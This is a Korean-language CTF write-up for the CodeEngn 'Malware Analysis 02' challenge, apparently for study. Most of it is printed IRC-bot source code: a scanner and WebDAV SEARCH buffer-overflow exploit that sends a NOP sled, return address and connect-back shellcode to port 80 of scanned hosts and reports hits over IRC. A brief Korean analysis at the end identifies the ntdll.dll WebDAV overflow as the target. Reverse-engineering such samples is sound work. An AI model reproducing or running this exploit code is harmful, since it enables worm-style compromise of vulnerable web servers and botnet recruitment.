[코드엔진] Malware Analysis 02

char body[]=
	"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
	"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
	"</g:searchrequest>\r\n";

CScannerMalware_L02::CScannerMalware_L02() { m_sScannerName.Assign("Malware_L02"); }
void CScannerMalware_L02::StartScan(const CString &sHost)
{	bool bSuccess=false;
	if(ScanPort(sHost.CStr(), 80))
	{	g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %s:80.", m_sScannerName.CStr(), sHost.CStr());
		bSuccess=Exploit(sHost); }

	if(bSuccess) g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), \
		"%s: exploited ip %s.", m_sScannerName.CStr(), sHost.CStr()); }

bool CScannerMalware_L02::Exploit(const CString &sHost)
{	char szSCBuf[4096]; char szShellBuf[4096];
	char *szReqBuf=(char*)malloc(100000); unsigned short ret=0xB102;
	int iShellSize=0, iPos=0, iSCSize=0, iReqSize=0, iNOPSize=100, rt=0, r=0;

	int sSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(sSocket==-1) return false;

	sockaddr_in ssin; memset(&ssin, 0, sizeof(ssin));
	ssin.sin_family=AF_INET; ssin.sin_port=htons(80);
	ssin.sin_addr.s_addr=ResolveAddress(sHost.CStr());
	if(ssin.sin_addr.s_addr==INADDR_NONE)
	{	free(szReqBuf); xClose(sSocket); return false; }

	if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))
		iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), \
			Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
	else
		iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, g_cMainCtrl.m_cIRC.m_lLocalAddr, \
			Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
	
	memset(szSCBuf+iPos,	'\x90',				iNOPSize					); iPos+=iNOPSize;
	memcpy(szSCBuf+iPos,	szShellBuf,			iShellSize					); iPos+=iShellSize;
	iSCSize=iPos; iPos=0;

	memset(szReqBuf, 0, 100000);
	strcpy(szReqBuf, "SEARCH /");
	int j, i=strlen(szReqBuf); szReqBuf[i]='\x90';
	for(j=i+1; j<i+2150; j+=2) { memcpy(szReqBuf+j, &ret, 2); iPos+=2; }	
	for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';
	memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));

	strcat(szReqBuf, " HTTP/1.1\r\n");
	sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", sHost.CStr(), strlen(body)+iShellSize);
	strcat(szReqBuf, body);
	memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
	memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
	memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize);
	iReqSize=strlen(szReqBuf);
	
	int iErr=connect(sSocket, (sockaddr*)&ssin, sizeof(sockaddr_in));

	if(xWrite(sSocket, szReqBuf, iReqSize)!=iReqSize) { xClose(sSocket); free(szReqBuf); return false; }

	while((r=xRead(sSocket, &szReqBuf[rt], 10000))>0 && rt<100000) rt+=r;
	if(rt) { xClose(sSocket); free(szReqBuf); return false; }

가장 먼저 알 수 있는 부분,
80포트를 사용 -> 웹에 대한 접근이 이루어질 것이다.
xml을 사용하는듯
DAV라는 것이 등장

xml과 DAV관련해서 구글링을 하니 WebDAV을 찾을 수 있었다.

웹답은 결국, 웹 서버의 파일을 공동관리할 수 있는 HTTP의 확장이다.
XML을 이용하여 데이터를 교환하고,
메소드/헤더/바디로 이루어져 있다.

웹답 취약점에 대한 문서를 찾게 되었는데,
ntdll.dll 내부 함수에서 버퍼 길이 검사 미실시로 인한 BOF취약점이 존재한다고 함.

+

strcpy(szReqBuf, "SEARCH /");
이 부분을 보면 취약점 문서와 비슷한 구조로 패킷이 만들어진다.
szReqBuf에 전송 패킷 내용을 담는 것 같다.
for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';
또 이 부분을 보면 szReqBuf부분을 nop코드로 덮어씌운다..
그 후 sprintf() 함수로 값을 써주는듯.

이 내용들은 스캔 이후 실행되는 Exploit()함수의 내용이다.
따라서 공격 대상은 웹답이고 BOF취약점을 이용한 것이다.